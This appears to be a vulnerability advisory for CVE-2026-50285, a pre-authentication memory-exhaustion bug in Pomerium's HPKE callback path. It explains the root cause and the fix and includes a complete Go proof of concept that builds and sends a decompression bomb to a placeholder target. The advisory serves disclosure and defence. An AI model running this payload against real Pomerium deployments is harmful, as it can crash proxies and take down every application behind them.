CVE-2026-50285: Pomerium Pre-Auth Denial of Service via HPKE Decompression Bomb
Any unauthenticated attacker can crash a Pomerium proxy by sending a tiny HTTPS request that forces the server to decompress hundreds of megabytes of memory before it even checks who the caller is.
The problem
In Pomerium 0.32.6 and 0.32.7, the HPKE V2 callback path in `pkg/hpke/url.go` calls `zstdDecoder.DecodeAll()` with no output size limit. A ~19 KB compressed payload can expand to 128 MiB or more in process memory.
The `/.pomerium/callback` endpoint is intentionally pre-authentication (it is the OAuth landing page), so it is reachable by anyone on the internet without a session or signature. The server's HPKE receiver public key is also public at `/.well-known/pomerium/hpke-public-key`, so an attacker can encrypt a decompression bomb with a freshly generated key pair, deliver it, and cause unbounded allocation.
Sender identity is validated only after decompression completes, so the memory spike is unconditional. Repeated concurrent requests can exhaust process memory and take down every application behind that proxy.
Proof of concept
A working proof-of-concept for CVE-2026-50285 in github.com/pomerium/pomerium, with the exact payload below.
package main
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/klauspost/compress/zstd"
"github.com/pomerium/pomerium/pkg/hpke"
)
func main() {
// Step 1: fetch the public receiver key (no auth required)
resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
pubBytes := make([]byte, 32)
resp.Body.Read(pubBytes)
resp.Body.Close()
receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
// Step 2: generate an attacker-controlled sender key pair
attackerPriv, _ := hpke.GeneratePrivateKey()
// Step 3: build the decompression bomb (~19 KB compressed -> 128 MiB decompressed)
plain := "x=" + strings.Repeat("A", 128*1024*1024)
enc, _ := zstd.NewWriter(nil)
compressed := enc.EncodeAll([]byte(plain), nil)
// Step 4: HPKE-seal the bomb (attacker key -> server public key)
sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
form := url.Values{
"k": {attackerPriv.PublicKey().String()},
"q": {base64.RawURLEncoding.EncodeToString(sealed)},
}
// Step 5: hit the pre-auth callback endpoint -- server decompresses before rejecting
target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
fmt.Println("Sending bomb:", target)
http.Get(target)
fmt.Println("Done -- server allocated ~128 MiB per request")
}The root cause is in `decodeQueryStringV2` (`pkg/hpke/url.go`): it calls `zstdDecoder.DecodeAll(raw, nil)` with no size cap. `WithDecoderLowmem(true)` only shrinks the decoder's own buffers, it does not bound the output.
HPKE authenticated mode (`Open`) only verifies that the ciphertext was sealed by the holder of the presented sender public key. Because the attacker supplies both `k` (their own public key) and `q` (the sealed payload), they choose a consistent key pair themselves, so `Open` succeeds.
Sender validation against the known authenticate-service key happens in `stateless.go` only after `DecryptURLValues` returns, meaning decompression already completed.
The fix in commit 593eb81 adds a size check immediately after `DecodeAll`: if the decompressed output exceeds a defined constant (1 MiB is the advisory-recommended ceiling for real query strings), the function returns an error before `url.ParseQuery` is ever called, capping memory consumption regardless of compressed input size.
The fix
Upgrade to Pomerium v0.32.8. The patch adds a hard output-size limit inside `decodeQueryStringV2` right after `zstdDecoder.DecodeAll()`, rejecting any decompressed result larger than 1 MiB. Self-hosted deployments using the stateful authenticate flow (not Pomerium Zero) are not affected because the stateful callback verifies an HMAC-SHA256 URL signature as its very first step, before any decryption or decompression occurs.
Reported by bugbunny.ai.
Related research
- high · 7.5CVE-2026-50274CVE-2026-50274: dd-trace-go Unbounded W3C Baggage Header Parsing DoS
- highCVE-2026-54448CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll
- high · 7.5CVE-2026-50125CVE-2026-50125: MKP Unbounded Pod Log Read Memory Exhaustion
- high · 8.1CVE-2026-61699CVE-2026-61699: nebula-mesh Certificate Blocklist Never Enforced on Mesh Peers